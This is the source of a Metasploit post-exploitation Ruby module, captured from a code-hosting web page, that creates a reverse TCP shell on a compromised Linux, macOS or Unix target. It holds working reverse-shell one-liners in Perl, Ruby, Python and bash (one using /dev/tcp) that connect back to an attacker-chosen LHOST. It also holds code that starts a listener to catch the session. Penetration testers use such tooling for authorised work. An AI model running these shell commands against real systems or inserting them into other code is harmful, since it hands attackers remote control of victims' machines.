Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/system_session.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multi Manage System Remote TCP Shell Session',12'Description' => %q{13This module will create a Reverse TCP Shell on the target system14using the system's own scripting environments installed on the15target.16},17'License' => MSF_LICENSE,18'Author' => ['Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => %w[linux osx unix],20'SessionTypes' => [ 'meterpreter', 'shell' ]21)22)23register_options(24[25OptAddressLocal.new('LHOST',26[true, 'IP of host that will receive the connection from the payload.']),27OptInt.new('LPORT',28[false, 'Port for Payload to connect to.', 4433]),29OptBool.new('HANDLER',30[ true, 'Start an exploit/multi/handler to receive the connection', false]),31OptEnum.new('TYPE', [32true, 'Scripting environment on target to use for reverse shell',33'auto', ['auto', 'ruby', 'python', 'perl', 'bash']34])35]36)37end3839# Run Method for when run command is issued40def run41create_multihand(datastore['LHOST'], datastore['LPORT']) if datastore['HANDLER']42lhost = datastore['LHOST']43lport = datastore['LPORT']44cmd = ''4546begin47case datastore['TYPE']48when /auto/i49cmd = auto_create_session(lhost, lport)50when /ruby/i51cmd = ruby_session(lhost, lport)52when /python/i53cmd = python_session(lhost, lport)54when /perl/i55cmd = perl_session(lhost, lport)56when /bash/i57cmd = bash_session(lhost, lport)58end59rescue StandardError60end6162if !cmd.empty?63print_status("Executing reverse tcp shell to #{lhost} on port #{lport}")64cmd_exec("(#{cmd} &)")65end66end6768# Runs a reverse tcp shell with the scripting environment found69def auto_create_session(lhost, lport)70cmd = ''7172if cmd_exec('perl -v') =~ /Larry/73print_status('Perl was found on target')74cmd = perl_session(lhost, lport)75vprint_status("Running #{cmd}")7677elsif cmd_exec('ruby -v') =~ /revision/i78print_status('Ruby was found on target')79cmd = ruby_session(lhost, lport)80vprint_status("Running #{cmd}")8182elsif cmd_exec('python -V') =~ /Python 2\.(\d)/83print_status('Python was found on target')84cmd = python_session(lhost, lport)85vprint_status("Running #{cmd}")8687elsif cmd_exec('bash --version') =~ /GNU bash/88print_status('Bash was found on target')89cmd = bash_session(lhost, lport)90vprint_status("Running #{cmd}")91else92print_error('No scripting environment found with which to create a remote reverse TCP Shell with.')93end9495return cmd96end9798# Method for checking if a listner for a given IP and port is present99# will return true if a conflict exists and false if none is found100def check_for_listner(lhost, lport)101conflict = false102client.framework.jobs.each do |_k, j|103next unless j.name =~ %r{ multi/handler}104105current_id = j.jid106current_lhost = j.ctx[0].datastore['LHOST']107current_lport = j.ctx[0].datastore['LPORT']108if (lhost == current_lhost) && (lport == current_lport.to_i)109print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")110conflict = true111end112end113return conflict114end115116# Starts a exploit/multi/handler session117def create_multihand(lhost, lport)118pay = client.framework.payloads.create('generic/shell_reverse_tcp')119pay.datastore['LHOST'] = lhost120pay.datastore['LPORT'] = lport121print_status('Starting exploit/multi/handler')122if !check_for_listner(lhost, lport)123# Set options for module124mul = client.framework.exploits.create('multi/handler')125mul.share_datastore(pay.datastore)126mul.datastore['WORKSPACE'] = client.workspace127mul.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp'128mul.datastore['EXITFUNC'] = 'thread'129mul.datastore['ExitOnSession'] = false130# Validate module options131mul.options.validate(mul.datastore)132# Execute showing output133mul.exploit_simple(134'Payload' => mul.datastore['PAYLOAD'],135'LocalInput' => user_input,136'LocalOutput' => user_output,137'RunAsJob' => true138)139else140print_error('Could not start handler!')141print_error('A job is listening on the same Port')142end143end144145# Perl reverse TCP Shell146def perl_session(lhost, lport)147if cmd_exec('perl -v') =~ /Larry/148print_status('Perl reverse shell selected')149cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET " \150"(PeerAddr,\"#{lhost}:#{lport}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"151else152print_error('No scripting environment found for the selected type.')153cmd = ''154end155return cmd156end157158# Ruby reverse TCP Shell159def ruby_session(lhost, lport)160if cmd_exec('ruby -v') =~ /revision/i161print_status('Ruby reverse shell selected')162return "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{lport}\");" \163"while(cmd=c.gets);begin;IO.popen(cmd,\"r\"){|io|c.print io.read};rescue;end;end'"164else165print_error('No scripting environment found for the selected type.')166cmd = ''167end168return cmd169end170171# Python reverse TCP Shell172def python_session(lhost, lport)173if cmd_exec('python -V') =~ /Python 2\.(\d)/174print_status('Python reverse shell selected')175return "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," \176"socket.SOCK_STREAM);s.connect((\"#{lhost}\",#{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);" \177"os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"178else179print_error('No scripting environment found for the selected type.')180cmd = ''181end182return cmd183end184185# Bash reverse TCP Shell186def bash_session(lhost, lport)187if cmd_exec('bash --version') =~ /GNU bash/188print_status('Bash reverse shell selected')189return "bash -c 'nohup bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"190else191print_error('No scripting environment found for the selected type.')192cmd = ''193end194return cmd195end196end197198199